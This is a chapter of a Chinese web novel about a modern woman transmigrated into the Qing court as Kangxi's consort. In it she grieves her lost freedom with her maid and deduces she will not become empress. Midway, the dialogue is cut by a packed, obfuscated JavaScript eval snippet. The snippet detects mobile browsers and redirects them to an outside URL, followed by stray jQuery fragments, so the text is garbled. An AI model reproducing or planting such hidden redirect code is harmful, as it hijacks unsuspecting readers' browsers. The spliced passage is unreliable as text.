17. 不甘心

作品:《摆烂,从做皇后开始(清穿)

    雪霁天晴,不过半月,天又阴沉沉的,万物蒙上层淡黄色的阴翳,印得周边都昏暗了不少。


    出了董佳格格住的梓桐苑,康熙忽地侧头开口,“福晋前些时候病了,如今还好?”


    雅尔檀震惊康熙的关心,事出反常必有妖,她谨慎开口,道:“多谢皇上关心,已经大好了。”


    “寒冬腊月,还是要多休息,少外出,切莫吹风着凉,再染了风寒。”康熙淡淡道。


    雅尔檀琢磨了一下,品出了不对味,这狗男人是要让她禁足,他难道是觉得这些事情都是自己引起的?


    仔细想想,好像确实……有点是的。


    但她又没做错。


    雅尔檀心里五味杂陈,说不出的失望,让她心底泛起淡淡的疲倦。


    “多谢皇上挂念,奴才自当铭记。”雅尔檀福了福身,自我嘲讽——做人嘛,该为五斗米折腰的时候,就不要硬倔。


    对雅尔檀识趣的态度,康熙十分满意,他抬脚朝着钟粹宫的正殿走去。


    吉鼐跟在康熙的身后,福了福身就赶紧跟上去了。


    只是猜测,雅尔檀便知道康熙是去看自己大宝贝胤礽,她虽好奇未来的太子到底是什么模样,但眼下还是不要去凑热闹了。


    见康熙走了,华赛也笑着告退,“妹妹好生养病,切莫让皇上担心。”


    瞅着华赛走远,诗锦才噘噘嘴,不满道:“两位小福晋真是不把主子放在眼中,如此敷衍。”


    雅尔檀正下着台阶,闻言,脚步顿住,她脑子里有东西一闪而过,随即才继续抬脚,神色带了点恍惚,“走吧,咱们也回去吧。”


    诗锦暗地里拍了拍自己的嘴巴,自己这张嘴啊,真是惹主子生气。


    坤宁宫坐落在中轴线上,出了钟粹宫,转弯踏上笔直的宫道,慢慢走着,便回到了东暖阁。


    雅尔檀进了门,吩咐道:“你们退下去吧。”


    诗锦嘴唇抿成一条缝,不安挠得她心里发慌,“主子,是不是奴才说错话了?”


    “没有,我有点累,想歇一歇。”雅尔檀勾唇笑了笑,她在书桌后坐下来,靠着椅背,“给我泡杯茶把。”


    虽然主子这么说,诗锦心中还是惴惴不安,她性子活泼,不似彤云那般稳重,主子进宫的时候本欲不带她,说她这性子在宫中恐会受磋磨。


    然而,诗锦舍不得十多年主仆情谊,说是主仆,更像是姐妹,她在主子面前苦苦哀求了许久,主子才点头。


    万万未曾想到,进宫之后是这般光景,她开始怀疑自己进宫到底是帮助主子,还是拖累了主子。


    沈桢正欲关上门,见诗锦愣在原地,惶惶不安,她叹着气,伸手将人扯走,“走吧。”


    诗锦失魂落魄跟着出了门。


    雅尔檀坐了许久,复盘着刚刚发生的事情,就在之前,她意识到自己可能忽略了一些事情。


    关于孝昭仁皇后在历史上的一些事情。


    她揉了揉生疼的太阳穴,叹了口气,正巧彤云端着茶水进来,她接过茶盏,抿了口,温热的茶水顺着喉咙滑进胃里,慰藉了紧张的情绪。


    “诗锦呢?”


    “她现在正难受呢,觉得自己没用,总是惹主子不高兴。”彤云道,她们主仆三人几乎算得上一起长大,私下里说话也没那么多繁文缛节。


    雅尔檀失笑,“她可是大家的开心果呢,我怎么会因她的话不高兴……”


    她顿了顿,才道:“就算是不高兴,也不是因为她的缘故。”


    “主子……”彤云迟疑。


    “有话直说,咱们姐妹之间就算说错了话,也无妨。”


    彤云与雅尔檀的目光相接,良久,她鼓起勇气,“您要一直逃避进宫这件事吗?我知道,您不喜欢宫里,但眼下已经进宫了……”


    自打见到桂姐格格的惨境后,这些话就一直憋在彤云的胸口,她心疼自己的主子,心疼主子遭受的一切。


    要是可以,她希望主子这辈子都离皇宫远远的。


    但事已至此,一味的躲避解决不了问题,反而会将皇上推得远远的,没有皇上的宠爱,在这深宫里寸步难行。


    今日董佳格格之事不正是如此吗?不得宠,连一个奴才都可以欺负到她头上。


    雅尔檀嘲讽地勾了一下唇,笑容无法维持,她放下茶盏,盯着自己的食指看了许久。


    她的食指上有枚纯银打造的开口戒,上面篆刻的花纹是英文“徐雅檀”。


    穿越过来不久,她就给自己打造了这枚戒指,提醒自己时刻要记着自己的身份,避免面具戴久了,迷失了自己。


    也因为,在潜意识里,她始终没办法接受雅尔檀的身份,在抗拒回避着现实。


    “在我身边,你是最聪明的,比萦夏还要聪明,我所有的打算都瞒不过你。”雅尔檀开口,拨弄着自己食指的戒指。


    萦夏是雅尔檀原先的侍女,进宫之前,雅尔檀将她留在了家中。


    因为她有了心上人,雅尔檀还让自己的嫡母赐了婚,给她备上一笔丰厚的嫁妆。


    “主子……”彤云声音哽咽,就是因为知道主子的打算,知道主子这么多年筹划着远离这一切,她才迟迟未曾戳穿主子的行为。


    雅尔檀手肘撑在扶手上,撑着额头,从知道自己穿越的原主是钮祜禄家的小姐,她就一直在计划逃离这一切。


    每一次,自由触手可及的时候,又跌回原点。


    她不甘心!她真的不甘心!!!


    泪水一滴滴落在扶手上,溅起细小的水花,声不可闻,却又好似振聋发聩。


    可是,不甘心又能如何?


    她是徐雅檀,是现代社会的普通人,她也是雅尔檀,也是钮祜禄家的小姐。


    她现在就坐在坤宁宫,坐在皇宫,坐在这座巨大而又繁华的囚笼里。


    命运就是如此安排,唯一的问题是,她还要反抗吗?还是说要自欺欺人?


    主子素来是鲜活的,掌控一切的,猝然见到她如此脆弱的一面,彤云心里如同刀割一样,只恨不得这所有的苦都由自己代替尝过……


    “倘若主子实在是不愿意掺和这一切……”彤云咽下喉头的酸涩,她跪在地上,磕了个头,“奴才愿意陪着主子一起。”


    “陪着……陪着吃苦吗?”雅尔檀深吸一口气,试图憋住自己的泪水,她以为自己的眼泪在刚穿越的时候流完了,没想到还剩下几滴在这里。


    彤云郑重道:“只要能跟随在主子身边,吃苦也愿意的。”


    雅尔檀抬起头,迅速眨眨眼,用帕子沾掉剩下的泪水,呼吸了几下,哑着声音道:“那我舍不得……”


    她说着将人拉起来,擦着彤云面庞上的泪水,道:“好了,别担心我,我会好的。”


    彤云站起身,飞速抹了抹自己脸上的泪水,瓮声道:“真的吗?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128564|163914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “真的。”雅尔檀道。


    后宫的斗争远比她想得要复杂绵密得多,一时的胜利,不等于永远的胜利,聪明与善良也会成为刺向别人的刀。


    而,所知道的历史再次禁锢了她的思维,扰乱了她的认知——许多事情,她太想当然了。


    “主子能想开就好。”彤云手背捂着嘴,轻松了几分。


    “我这儿没事了。”雅尔檀道,这些情绪压在心头,反复琢磨,让她越陷越深,发泄出来会好上许多,“你去安慰一下诗锦,那个傻丫头还不知道躲在哪里哭呢,可别让她钻牛角尖。”


    刚刚才哭过一场,彤云不放心主子一人独处,面露迟疑。


    “去吧,我真的没事了。”雅尔檀笑道,“就是有些事情要想清楚。”


    彤云在心里权衡了一下,说道:“那奴才让沈桢在外间候着,有什么事情主子就叫一声。”


    雅尔檀点头应下,让这一片赤诚之心的姑娘放心。


    彤云出门,叫了沈桢在外间候着,谨防主子有什么动静。


    雅尔檀深呼吸一口,鼓了鼓腮帮子,憋住一会,才吐了出来,坐直身体,扯过一张白纸,笔沾松烟墨。


    无论是徐雅檀,还是雅尔檀,亦或是历史上那短命的孝昭仁皇后,都是她。


    而她才能决定自己的命运往哪里走,而不是已知的历史。


    即便她最终留下来的记载同历史上一模一样,那也必须出自她的选择。


    雅尔檀落笔,笔锋游走,写下第一个词——福晋。


    从进宫之日起,所有人都称她为福晋,加上住在坤宁宫,一切都好似在表明她就是皇后,就是这后宫的女主人。


    她随即写下第二个词——乾清宫之妃。


    史实推断孝昭仁皇后入宫的时间是在康熙十五年四月之前,原因就是孝庄赏赐钗子的时候,提到过一句“乾清宫之妃”。


    最后一个词——皇后。


    孝昭仁皇后后期是有诏封和册封典礼的,也就是说她从进宫到坐上皇后位置是有段时间的。


    雅尔檀在福晋二字上重重画了个圈,感激她穿越过来对八卦的兴趣,让她了解到顺治皇帝在位期间,福晋后期也指代庶妃。


    如今,这一传统在宫中也有延续,且混杂了汉人的称谓习惯,实在是混乱,但皇后是唯一的。


    听说,赫舍里氏在位的时候就已然称呼其为皇后了,倘若康熙正儿八经要娶雅尔檀做正室,那就该直接称呼为皇后。


    而不是还夹个半生不熟的“乾清宫之妃”,亦或是可进可退的“福晋”。


    到这里,雅尔檀大概猜出几分康熙的想法,不过,真正要确定还需要别的佐证。


    但眼下,仅仅这一层的猜测,也足够戳破雅尔檀做个皇后好摆烂的美梦了——照着眼下的形势,命运如何尚不可知,但皇后是断无可能。


    倘若做不了皇后,华赛只怕会将自己推入万劫不复之地,更何况,今日还得罪了吉鼐。


    雅尔檀看了这三个词好一会,呼出胸口的浊气,放下笔,拿着纸朝另一侧的窗边走去。


    因她不爱炭火的味道,一点点都能闻到,是以炭盆都放在窗边。


    她轻轻将纸张投进炭盆,纸张上生出黑色的斑点,斑点扩大,边缘起了红色的火苗,舔舐着整张纸,留下灰白色的余烬。


    雅尔檀轻声开口,“沈桢,给我请个太医吧。”